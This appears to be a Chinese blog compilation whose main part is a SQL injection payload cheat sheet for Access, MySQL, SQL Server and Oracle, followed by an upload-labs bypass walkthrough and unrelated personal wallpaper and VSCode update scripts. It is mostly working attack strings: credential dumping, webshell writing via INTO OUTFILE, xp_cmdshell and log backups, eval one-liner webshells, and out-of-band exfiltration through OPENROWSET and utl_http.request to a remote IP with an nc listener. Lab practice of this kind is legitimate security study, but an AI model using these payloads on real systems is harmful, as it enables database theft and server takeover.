and 判断
and 1=1 正确页面
and 1=2 错误页面
or 判断
or 1=1 正确页面
or 1=2 错误页面

判断字段数

order by 判断当前表的字段数

order by 10 正常
order by 11 错误

所以有10个字段

猜表

1	union select 1,2,3,4,5,6,7,8,9,10 from admin

猜字段

1	union select 1,id,username,password,4,5,6,7,8,9,10 from admin

逐字猜解法

判断注入

and 1=1
and 1=2

猜表

1	and exists (select * from admin)

页面返回正常说明表存在

猜列

1	and exists (select username from admin)

1	and exists (select password from admin)

猜数据长度

len() 函数

1	and (select top 1 len(username) from admin)=8

等于 8 就是确定数据的长度也可以使用大于（>）小于（<）个人认为等于（=）最好确定长度

查询数据 asccii 码

mid() 截取位置
asc() ascii 码

and (select top 1 asc(mid(username,1,1)) 
from admin)=97
and (select top 1 asc(mid(username,2,1)) 
from admin)=100

猜解完之后把 ascii 码转换过来并接就是 username 字段的的数据，其他字段也是这样。 97 的字符为 a 100 的字符为 d 并接起来就是 ad

SQL 注入类型的区分详解

首先按照常用接收方式的不同可以分为以下三种

GET 请求的参数是放在 URL 里的，GET 请求的 URL 传参有长度限制中文需要 URL 编码

[URL 最长的长度][https://www.cnblogs.com/cuihongyu3503319/p/5892257.html]

POST

POST 请求参数是放在请求 body 里的，长度没有限制

cookie 参数放在请求头信息，提交的时候服务器会从请求头获取参数。

注入数据类型的区分

int 整型

1	select * from user where id=1

string 字符型

1	select * from user where username='admin'

like 搜索型

1	select * from news where title like '%标题%'

以上除了第一种以外其余在判断注入或查询语句的时候都要进行闭合，不闭合 SQL 语句不仅会出错，可能与原意不一样，会造成错误的判断

字符型注入闭合

1	select * from user where username='admin' and 'x'='x'

’ and ‘x’='x 这个部分就是闭合的部分

like 模糊型注入闭合

1	select * from news where title like '%标题%'

1	select * from news where title like '%标题%' and '1%' = '1%'

%’ and ‘1%’ = '1 这个是闭合的部分

1	select * from news where title like '%s%' and '1%' = '1%'

注入方法区分

联合查询注入 union select 联合两个表

报错注入数据库报错信息进行注入

盲注入

布尔型注入
时间型注入

mysql+php 手工注入篇

mysql 的注释符号

1
2
3

#
--空格
/*里面注释*/

用于注释后后面语句不再执行

注入常用查询系统信息函数

version()   MYSQL版本
system_user() 系统用户名
user()数据库用户名
current_user 当前用户名
session_user()连接数据库的用户名
database()数据库名
@@datadir数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os操作系统版本
load_file() MYSQL 读取本地文件的函数

判断是否存在注入

页面是否返回正常，或是否存在报错信息

and 1=1 正常
and 1=2 错误
&& 1=1 正常
&& 1=2 错误
or 1=1
or 1=2

判断列数

与其他数据库一样 order by 进行排列获取字段数

1	http://sql.dansemal.cn/Less-1/?id=1' order by 3 -- qwe

1	http://sql.dansemal.cn/Less-1/?id=1' order by 4 -- qwe

order by 3 页面正常 order by 4 页面返回空白或者文章没有显示出来，列数为 3 个

mysql 与 access 数据库不一样。在没有表名的前提下也可以查询数据库一些信息，如安装路径、库名、操作系统信息

联合查询 union select

http://sql.dansemal.cn/Less-1/?id=' -1  union select 1,2,3 -- qwe

http://sql.dansemal.cn/Less-1/?id=1'  and 1=2 union select 1,2,3 -- qwe

http://sql.dansemal.cn/Less-1/?id='  and 1=1 union select 1,2,3 -- qwe

以上三个语句的意思都是相同的前面获取数据为 null 将会显示后面的数字

查询库名

1	http://sql.dansemal.cn/Less-1/?id=' -1 union select 1,2,database() -- qwe

/查询所有库/

1	http://sql.dansemal.cn/Less-1/?id=' -1 union select 1,2,group_concat(schema_name) from information_schema.schemata -- qwe

查询表名

mysql 里面有一个库 information_schema 里面存在很多信息，其中包括所有的库名，表名，字段名。因此可以利用这个库来获取当前库的表

1	http://sql.dansemal.cn/Less-1/?id=' -1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' -- qwe

group_concat() 连接所有非 NULL 的字符串

limit 1,1 获取第一个
limit 2,1 获取第二个

查询字段

http://sql.dansemal.cn/Less-1/?id=' -1  union select 1,2,group_concat(column_name)  from information_schema.columns where table_name='users' -- qwe

http://sql.dansemal.cn/Less-1/?id=' -1  union select 1,2,group_concat(column_name)  from information_schema.columns where table_name=0x7573657273 -- qwe

查询数据

1	http://sql.dansemal.cn/Less-1/?id=' -1 union select 1,2,group_concat(0x3c2f62723e,id,0x7e,username,0x7e,password) from users -- qwe

查询失败的原因

这种方面不是通用的，有时候查询不全这个原因是字段的大小问题。解决办法换一个字段查询，或者用函数查询长度再用字符串函数截取

读写操作

MYSQL 新特性 secure_file_priv 对读写文件的影响此开关默认为 NULL，即不允许导入导出。

secure_file_priv 为空是的时候方可读写由于这个参数不能动态更改，只能在 mysql 的配置文件中进行修改，然后重启生效。可以通过命令查看这个属性

1	select @@secure_file_priv

secure_file_priv 为 null 表示不允许导入导出

secure_file_priv 指定文件夹时，表示 mysql 的导入导出只能发生在指定的文件夹

secure_file_priv 没有设置时，则表示没有任何限制

写入文件的时候还需要看 php.ini 里面 gpc 是否开启开启的情况下特殊字符都会被转义 ’ 变成 '

load_file()读取文件函数

读取当前目录下的 index.php 文件

1	http://target_sys.com/article.php?id=-1 union select 1,2,load_file('C:\\inetpub\\wwwroot\\target_sys.com\\index.php')

into outfile 文件导出空格
into dumpfile 没有空格

1、gpc 关闭

2、目录可写

写 shell 话到当前目录

1	http://target_sys.com/article.php?id=-1 union select 1,'',3 into outfile 'C:\\inetpub\\wwwroot\\target_sys.com\\smoon.php'

报错注入

mysql 在执行 SQL 语句的时如果语句有错会返回报错信息，在与 php 结合使用的时候默认并不会把报错的信息在页面显示出来

如果要在 php 显示出来将在执行语句的时候使用 mysql_error() 才可以把错误的信息显示到页面

1	$result=mysql_query("select * from article where id=$id") or die(mysql_error());

判断注入

and 1=1

1	http://sql.dansemal.cn/Less-5/?id=1' and 1=1 -- qwe

and 1=2

1	http://sql.dansemal.cn/Less-5/?id=1' and 1=2 -- qwe

报错语句

通过 floor 报错

/数据库版本/

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e)))  from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables  group by x)a)

1
2
3

http://sql.dansemal.cn/Less-5/?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) 
from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables 
group by x)a)-- qwe

/连接用户/

1	and(select 1 from(select count(),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

1
2
3

http://sql.dansemal.cn/Less-5/?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) 
from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables 
group by x)a)-- qwe

/连接数据库/

and(select 1 from(select count(*),concat((select (select (select  concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x  from information_schema.tables group by x)a)

1
2
3

http://sql.dansemal.cn/Less-5/?id=1' and(select 1 from(select count(*),concat((select (select (select 
concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x 
from information_schema.tables group by x)a)-- qwe

/暴库/

1
2
3

and(select 1 from(select count(*),concat((select (select (SELECT distinct 
concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from 
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

1
2
3

http://sql.dansemal.cn/Less-5/?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct 
concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from 
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- qwe

/暴表/

and(select 1 from(select count(*),concat((select (select (SELECT distinct  concat(0x7e,table_name,0x7e) FROM information_schema.tables where  table_schema=database() LIMIT 0,1)) from information_schema.tables limit  0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

http://sql.dansemal.cn/Less-5/?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct 
concat(0x7e,table_name,0x7e) FROM information_schema.tables where 
table_schema=database() LIMIT 0,1)) from information_schema.tables limit 
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- qwe

limit 3,1

/暴字段/

and(select 1 from(select count(*),concat((select (select (SELECT distinct  concat(0x7e,column_name,0x7e) FROM information_schema.columns where  table_name=0x7573657273 LIMIT 0,1)) from information_schema.tables limit  0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

http://sql.dansemal.cn/Less-5/?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct 
concat(0x7e,column_name,0x7e) FROM information_schema.columns where 
table_name=0x7573657273 LIMIT 0,1)) from information_schema.tables limit 
0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- qwe

limit 1,1

limit 2,1

/暴内容/

and(select 1 from(select count(*),concat((select (select (SELECT distinct 
concat(0x23,id,0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from 
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables` 
`group by x)a)

http://sql.dansemal.cn/Less-5/?id=1' and(select 1 from(select count(*),concat((select (select (SELECT distinct 
concat(0x23,id,0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from 
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables 
group by x)a)-- qwe

ExtractValue(有长度限制,最长 32 位)

1	and extractvalue(1, concat(0x7e, (select @@version),0x7e))

1	http://sql.dansemal.cn/Less-5/?id=1' and extractvalue(1, concat(0x7e, (select @@version),0x7e))-- qwe

1	and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,id,0x23,username,0x3a,password,0x23) FROM users limit 0,1)))

1	http://sql.dansemal.cn/Less-5/?id=1' and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,id,0x23,username,0x3a,password,0x23) FROM users limit 0,1)))-- qwe

UpdateXml(有长度限制,最长 32 位)

1	and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

1	http://sql.dansemal.cn/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)-- qwe

1	and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,id,0x23,username,0x3a,password,0x23) FROM users limit 0,1),0x7e),1)

1	http://sql.dansemal.cn/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,id,0x23,username,0x3a,password,0x23) FROM users limit 0,1),0x7e),1)-- qwe

1	and updatexml(1,concat(0x7e,(SELECT distinct LENGTH(concat(0x23,username,0x3a,password,0x23)) FROM users limit 0,1),0x7e),1)

1 2	http://sql.dansemal.cn/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT distinct LENGTH(concat(0x23,username,0x3a,password,0x23)) FROM users limit 0,1),0x7e),1)-- qwe

查询长度为11

SUBSTRING()字符串截取函数

1
2
3

http://sql.dansemal.cn/Less-5/?id=1' and updatexml(1,concat(0x7e,(SELECT distinct 
SUBSTRING(concat(0x23,username,0x3a,password,0x23),1,11) FROM users limit 
0,1),0x7e),1)-- qwe

NAME_CONST(适用于低版本)

1	and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as +x)

1 2	http://sql.dansemal.cn/Less-5/?id=1' and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as +x)-- qwe

Error based Double Query Injection

/数据库版本/

1	or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1

1	http://sql.dansemal.cn/Less-5/?id=1' or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1-- qwe

还有一些报错语句

geometrycollection()

1	and geometrycollection((select * from(select * from(select user())a)b))

1 2	http://sql.dansemal.cn/Less-5/?id=1' and geometrycollection((select * from(select * from(select user())a)b))-- qwe

multipoint()

1	and multipoint((select * from(select * from(select database())a)b))

1	http://sql.dansemal.cn/Less-5/?id=1' and multipoint((select * from(select * from(select database())a)b))-- qwe

polygon()

1	and polygon((select * from(select * from(select @@basedir MYSQL)a)b))

1	http://sql.dansemal.cn/Less-5/?id=1' and polygon((select * from(select * from(select @@basedir MYSQL)a)b))-- qwe

multipolygon()

1 2	and multipolygon((select * from(select * from(select` `@@version_compile_os)a)b))

1 2	http://sql.dansemal.cn/Less-5/?id=1' and multipolygon((select * from(select * from(select @@version_compile_os)a)b))-- qwe

linestring()

1	and linestring((select * from(select * from(select @@datadir)a)b))

1	http://sql.dansemal.cn/Less-5/?id=1' and linestring((select * from(select * from(select @@datadir)a)b))-- qwe

multilinestring()

1 2	and multilinestring((select * from(select * from(select` `session_user())a)b))

1 2	http://sql.dansemal.cn/Less-5/?id=1' and multilinestring((select * from(select * from(select session_user())a)b))-- qwe

exp()

1	and exp(~(select * from(select user())a))

1	http://sql.dansemal.cn/Less-5/?id=1' and exp(~(select * from(select user())a))-- qwe

读取文件

extractvalue 读取文件 32长度限制

1	and (extractvalue(1,concat(0x7e,(select load_file('/hello.php')),0x7e)))

1	http://sql.dansemal.cn/Less-5/?id=1' and (extractvalue(1,concat(0x7e,(select load_file('/hello.php')),0x7e)))-- qwe

exp 方法读取

1	and (exp(~(select*from(select load_file('/hello.php'))a)))

1 2	http://sql.dansemal.cn/Less-5/?id=1' and (exp(~(select*from(select load_file('/hello.php'))a)))-- qwe

延时注入

延时注入属于盲注入的一种，这种注入通过 mysql 里面的 sleep()函数,这个函数的意思是延时执行多少秒。

sleep 通常与 if 一起使用例如

1	select if('root'='root',sleep(3),0)

如果字符串 root 等于 root 数据库延时 3 秒否则输出 0

延时方法是先获取数据的长度

1	select if(LENGTH(version())=6,sleep(3),0)

再查询数据，这就是我们常用的一些字符把他们转为 ASCII 码方便进行对比。 abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.

1	select if(ascii(substring(version(),1,1))=53,sleep(3),0)

字符串截取长度 substring()

字符转 ascii 码 ascii()

判断注入

and sleep(5)

1	http://sql.dansemal.cn/Less-5/?id=1' and sleep(5)-- qwe

获取 mysql 版本

and if(LENGTH(version())=这个是长度,sleep(3),0) 当长度到 23 的时候页面延时 3 秒返回。

1	http://sql.dansemal.cn/Less-5/?id=1' and if(LENGTH(version())=23,sleep(3),0)-- qwe

select if(ascii(substring((select version()),1,1))=53,sleep(5),0) `

`select if(ascii(substring((select version()),2,1))=46,sleep(5),0) `

`select if(ascii(substring((select version()),3,1))=53,sleep(5),0) `

`select if(ascii(substring((select version()),4,1))=46,sleep(5),0) `

`select if(ascii(substring((select version()),5,1))=52,sleep(5),0) `

`select if(ascii(substring((select version()),6,1))=54,sleep(5),0)

sqlserver 联合注入

sqlserver 经常与 asp 或者 aspx 一起使用，操作系统多数是 win2012 win2018

数据库版本 sql2008 sql2012

1	http://59.63.200.79:8015/?id=1

注释

–空格单行注释
/* */ 多行注释

判断是否注入

’ 单引号是否报错
and 1=2
and 1=1 页面是否相同

判断列数

order by

order by 3 正常

联合查询

联合查询需要每个列的类型要一直或者可以使用 null 直到页面出错

1	http://59.63.200.79:8015/?id=1' union select 1,'2','3' --qwe

第一个 2 ,3 为字符串 1为整型

查询系统信息

db_name() 数据库名

@@version 版本信息

User_Name() 当前用户

host_name() 计算机名称

1	http://59.63.200.79:8015/?id=1' union select 1,db_name(),@@version --qwe

SQLserver 报错注入

内容	命令
显示系统信息	and @@version>0
爆出数据库	and db_name()>0
当前用户	and User_Name()>0
爆出其他数据库	`sqland (SELECT top 1 Name FROM Master..SysDatabases)>0 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master'))>0 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','iNethinkCMS','model','msdb'))>0`
爆表	and (select top 1 name from [mydb].sys.all_objects where type=‘U’ AND is_ms_shipped=0)>0 and (select top 1 name from mydb.sys.all_objects where type=‘U’ AND is_ms_shipped=0 and name not in (‘admin’))>0
爆列	and (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME=‘admin’ and COLUMN_NAME not in(‘ID’))>0 and (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME=‘admin’ and COLUMN_NAME not in(‘ID’,‘username’))>0
爆数据	and (select top 1 password from admin)>0 and (select top 1 username from admin)>0

sqlserver快速爆表列数据

在 SQL_SERVER 中每个数据库中都有视图->系统视图在这个下面都有很多关于这个库的表，表里面存放了很多关于这个库的信息。 COLUMNS 列 TABLES 表

内容	命令
爆出表	and(select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=‘dbo’ FOR XML PATH)>1
爆出列	and(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=‘admin’ FOR XML PATH)>1
爆出数据	and ( select username,password from admin FOR XML PATH)>1

sqlserver执行系统命令

在 SQLSERVER 中是可以执行多行操作的

两条 SQL 语句是用分号隔开

select * from art; select * from admin

xp_cmdshell 默认在 mssql2000 中是开启的，在 mssql2005 之后的版本中则默认禁止。如果用户拥有管理员 sa 权限则可以用 sp_configure 重新开启它

1 2	;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

命令解释

EXEC sp_configure ‘show advanced options’,1//允许修改高级参数

RECONFIGUREEXEC sp_configure ‘xp_cmdshell’,1 //打开 xp_cmdshell 扩展

RECONFIGURE

执行系统命令

1	EXEC master.dbo.xp_cmdshell 'ipconfig'

开始 xp_cmdshell

;EXEC sp_configure ‘show advanced options’, 1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’, 1;RECONFIGURE;

getshell

;exec master…xp_cmdshell ‘echo ^<%eval request(chr(35))%^> > C:\inetpub\wwwroot\www.demo1.com\2.asp’ –

exec master…xp_cmdshell ‘echo ^<%eval request(chr(35))%^> >C:\inetpub\wwwroot\www.demo1.com\2.asp’–

exec master…xp_cmdshell ‘echo ^<%@ Page Language=“Jscript”%^>^<%eval(Request.Item[“chopper”],“unsafe”);%^>>D:\2.a spx’ –

http://www.demo1.com/index.aspx?id=1;exec master…xp_cmdshell ‘echo ^<%@ Page Language=“Jscript”%^>^<%eval(Request.Item[“chopper”],“unsafe”);%^>>C:\inet pub\wwwroot\www.demo1.com\2.aspx’ –

执行系统命令把命令结果输出到指定文件 http://www.demo1.com/index.aspx?id=1;EXEC master.dbo.xp_cmdshell ‘ipconfig >>C:\inetpub\wwwroot\www.demo1.com\ip.txt’

http://www.demo1.com/index.aspx?id=1;EXEC master.dbo.xp_cmdshell ‘whoami >>C:\inetpub\wwwroot\www.demo1.com\ip.txt’

sqlserver备份拿webshell

<%execute(request(“a”))%> 差异备份经常会出错的不稳定 log 备份一句话


;drop table test_tmp

;create table test_tmp (a image);

;backup log mydb to disk ='C:/phpStudy/MSSQL/WWW/asp.bak' with init;

;insert into test_tmp (a) values  (0x3C25657865637574652872657175657374282261222929253EDA) 

;backup log mydb to disk = 'C:/phpStudy/MSSQL/WWW/123.asp'

;drop table test_tmp



select * from art where id=1;IF EXISTS(select table_name from 
information_schema.tables where table_name='test_tmp')drop table test_tmp;create 
table test_tmp (a image);backup log mydb to disk 
='C:/inetpub/wwwroot/www.demo1.com/asp.bak' with init;insert into test_tmp (a) 
values (0x3C25657865637574652872657175657374282261222929253EDA);backup 
log mydb to disk = 'C:/inetpub/wwwroot/www.demo1.com/123.asp'

sqlserver openrowset 转发利用

适用于盲注入，页面不返回信息使用这种注入方法，需要一台带有 sqlserver 的机器。原理就是把当前数据转发到远程的 sqlserver 上。

启用 Ad Hoc Distributed Queries：
- ;exec sp_configure ‘show advanced options’,1 reconfigure
- ;exec sp_configure ‘Ad Hoc Distributed Queries’,1 reconfigure
为了安全使用完成后，关闭 Ad Hoc Distributed Queries：
- ;exec sp_configure ‘Ad Hoc Distributed Queries’,0 reconfigure
- ;exec sp_configure ‘show advanced options’,0 reconfigure

开启扩展

http://www.demo1.com/index.aspx?id=1;exec sp_configure ‘show advanced options’,1 reconfigure;exec sp_configure ‘Ad Hoc Distributed Queries’,1 reconfigure

本地建立临时表

create table ##version (VERSION varchar(500))

查询系统信息

http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET(‘SQLOLEDB’, ‘server=192.168.0.122;uid=sa;pwd=123456’, ‘select * from %23%23version’ ) select DB_NAME()

执行上面语句之后再来查询远程 sqlserver 上的表

select * from ##version

两边创建临时表

create table ##nonamed( dir ntext, num int )

http://www.demo1.com/index.aspx?id=1;create table %23%23nonamed( dir ntext, num int )

查询路径

insert %23%23nonamed execute master…xp_dirtree ‘c:/’,1

向 nonamed 表插入 c 盘下路径的数据

http://www.demo1.com/index.aspx?id=1;insert %23%23nonamed execute master…xp_dirtree ‘c:/’,1

这里就是把数据转发到远程 192.168.0.122 sqlserver 上

http://www.demo1.com/index.aspx?id=1;insert into OPENROWSET(‘SQLOLEDB’, ‘server=192.168.0.122;uid=sa;pwd=123456’, ‘select * from %23%23nonamed’ ) select * from %23%23nonamed

在远程 sqlserver 执行这个命令就可以获取数据 select * from %23%23nonamed

oracle注入

oracle jsp 联合注入

靶场地址:

1	http://59.63.200.79:8808/?id=1

注释

– 空格单行注释

/**/多行注释

判断是否注入

and 1=1 –

and 1=2 –

列数

order by

http://59.63.200.79:8808/?id=1 order by 4 – qwe 正常

http://59.63.200.79:8808/?id=1 order by 5 – qwe 错误

联合查询

因为 oracle 对列的类型比较严谨所以要用 null 可以匹配任意类型

Oracle 中的 dual 表是一个单行单列的虚拟表

Dual 是 Oracle 中的一个实际存在的表，任何用户均可读取。

所以可以通过这个 dual 表来显示列数

1	http://59.63.200.79:8808/?id=1 union select null,null,null,null from dual -- qwe

当前用户权限	select * from session_roles
当前数据库版本	select banner from sys.v_$version where rownum=1
服务器出口ip	用 utl_http.request 可以实现
服务器监听ip	select utl_inaddr.get_host_address from dual
服务器操作系统	select member from v$logfile where rownum=1
服务器sid	select instance_name from v$instance
当前连接用户	select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual
当前用户	SELECT user FROM dual
查询库名	select owner from all_tables where rownum=1 select owner from all_tables where rownum=1 and owner <>‘SYS’
查询表(表名大写)	select table_name from user_tables where rownum=1 select table_name from user_tables where rownum=1 and table_name<>‘ADMIN’
查询列	select column_name from user_tab_columns where table_name=‘ADMIN’ and rownum=1 select column_name from user_tab_columns where table_name=‘ADMIN’ and column_name<>‘ID’ and rownum=1 select column_name from user_tab_columns where table_name=‘ADMIN’ and column_name<>‘ID’ and column_name<>‘USERNAME’ and rownum=1
查询数据	SELECT CONCAT(USERNAME,PASSWORD) FROM ADMIN
当前用户	SELECT user FROM dual
列出所有用户	SELECT username FROM all_users ORDER BY username
列出数据库	SELECT DISTINCT owner FROM all_tables
列出表名	SELECT table_name FROM all_tables SELECT owner, table_name FROM all_tables
查询表所有列	SELECT column_name FROM all_tab_columns WHERE TABLE_NAME=‘ADMIN’
定位文件	SELECT name FROM V$DATAFILE

utl_http.request 反弹注入

通过 utl_http.request 我们可以将查询的结果发送到远程服务器上，在遇到盲注时非常有用，要使用该方法用户需要有 utl_http 访问网络的权限.

检测是否支持utl_http.request

utl_http.request 页面正常支持

1	$url and exists (select count(*) from all_objects where object_name='UTL_HTTP') --

反弹注入命令

$url and
utl_http.request('http://192.168.0.121:2008/'||(select banner from sys.v_$version where
rownum=1))=1--

and utl_http.request('http://域名或者 ip:端口/'||(注入的语句))=1 --

注意|| 注意转码%7C%7C

监听本地信息
1
nc -vvlp 2008
查询oracle版本信息

当前用户	select user from dual
当前数据库版本	select banner from sys.v_$version where rownum=1
服务器出口ip	用 utl_http.request 可以实现
服务器监听ip	select utl_inaddr.get_host_address from dual
服务器操作系统	select member from v$logfile where rownum=1
服务器sid	select instance_name from v$instance
当前连接用户	select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual
日志文件	select member from v$logfile where rownum=1

报错注入

utl_inaddr.get_host_name()

1	and 1=utl_inaddr.get_host_name((select user from dual))--

ctxsys.drithsx.sn()

1	and 1=ctxsys.drithsx.sn(1,(select user from dual))--

XMLType()

1 2	and (select upper(XMLType(chr(60)\|\|chr(58)\|\|(select user from dual)\|\|chr(62))) from dual) is not null --

dbms_xdb_version.checkin()

1	and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --

bms_xdb_version.makeversioned()

1	and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null -

dbms_xdb_version.uncheckout()

1	and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --

dbms_utility.sqlid_to_sqlhash()

1	and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --

ordsys.ord_dicom.getmappingxpath()

1	and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

decode

这种方式更偏向布尔型注入，因为这种方式并不会通过报错把查
询结果回显回来，仅是用来作为页面的表现不同的判断方法

and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

报错 admin 表的用户和密码

1 2	and 1=utl_inaddr.get_host_name((select (select username%7c%7cpassword from admin)from dual))--

upload-labs

2021-05-19T14:59:00.000Z

搭建

https://github.com/c0ny1/upload-labs

Pass-01(前端绕过)

准备php一句话木马

 
phpinfo();
eval($_POST['a']);
?>

传一句话木马时提示

重命名后缀为png

在burp中修改为php

连接菜刀

用weevely 生成webshell

┌──(root💀B)-[~]
└─# weevely generate shell /root/1.php
Generated '/root/1.php' with password 'shell' of 774 byte size.

Pass-02(MIME绕过)

清空上传文件

修改Content-Type 为image/jpeg

也可以如同01中操作上传成功

Pass-03(apache解析漏洞)

上传文件发现报错

提示：不允许上传.asp,.aspx,.php,.jsp后缀文件！

那么尝试修改后缀

如php3

发现php3 不解析

那么尝试phtml

也不解析

查了下好像要修改配置orz

修改 /etc/mime.types中

1	service apache2 reload

解析成功了

update-2021-12-28 15:54:41

不需要修改配置

Pass-04(Apache配置文件.htaccess)

重写解析

1
2
3


SetHandler application/x-httpd-php

Pass-05(大小写绕过)

分析源码

1
2


$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");

发现没有过滤大小写

尝试大写phP

Pass-06(空格绕过)

源码过滤了大小写

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

windows-scripts备份

2021-05-19T14:59:00.000Z

必应每日一图下载

sleep 10
cd /root/pictures/ # 下载目录
for n in 0 1 2 3 4 5 6 7# 0 今天 1 昨天 2 前天  以此类推......
do
tail=`curl "https://www.bing.com/HPImageArchive.aspx?format=js&idx=$n&n=1&mkt=ZH-CN" | grep -oP "th\?id=.*?jpg"`
        image_name=`echo $tail | grep -oP 'OHR\.\K([a-zA-Z]+)'`'.jpg'
have=`ls $image_name`
if [ -z $have ]
then
hud=`echo $tail|sed 's/1920x1080/UHD/g'`
wget -O "${image_name}" https://bing.com/${hud}
                echo "`date +%Y%m%d`  ${image_name}  下载成功" >> download.log
            fi
done

防止windows启动卡黑屏

故不使用网络驱动器

win+r打开taskschd.msc

添加启动任务计划

1-复制远程资源到本地

启动程序
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
启动参数
C:\Users\A\Pictures\update.ps1

1
2
3

# update.ps1
Copy-Item -Path Z:\pictures\*.jpg -Destination C:\Users\A\Pictures\ -Force
Copy-Item -Path Z:\music\* -Destination C:\Users\A\Music\ -Force

启动程序
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
启动参数
-WindowStyle Hidden -File C:\A\Portable-Mode\VSCode\update.ps1
每7天执行一次

# update.ps1
# Stop script on error
$ErrorActionPreference = 'Stop'

# Application folder
$AppDir = "C:\A\Portable-Mode\VSCode"
# Latest stable version (Win32-x64)
$Url = 'https://update.code.visualstudio.com/latest/win32-x64-archive/stable'
# Downloaded zip file
$DownloadFile = [System.IO.Path]::GetTempFileName() + '.zip'
# Download and unlock file
Invoke-WebRequest -uri $Url -OutFile $DownloadFile
Unblock-File $DownloadFile

# Unzip, overwrite code.exe
Expand-Archive -Force -Path $DownloadFile -DestinationPath $AppDir
# Remove temp file
Remove-Item -force -recurse $DownloadFile

Write-Output 'Finished.'

picture_2 格式化webp

cd /root/picture_2
git pull
images=$(ls  *.png)

for image in $images
do
  # -q 90 指定转换质量，经试验这个值效果和压缩率都不错
  cwebp $image -q 70 -o ${image%.*}.webp
  rm -rf $image
done
date=`date "+%Y-%m-%d %H:%M:%S"`

#提交
git add .
git commit -m "图片优化$(date)"
git push

oxox提交替换首页图

cd /root/oxox
git pull
date=`date "+%Y-%m-%d %H:%M:%S"`
# 替换首页图
today=`curl "https://www.bing.com/HPImageArchive.aspx?format=js&idx=0&n=1&mkt=ZH-CN" | grep -oP "th\?id=.*?jpg"`
hud=`echo $today|sed 's/1920x1080/UHD/g'`
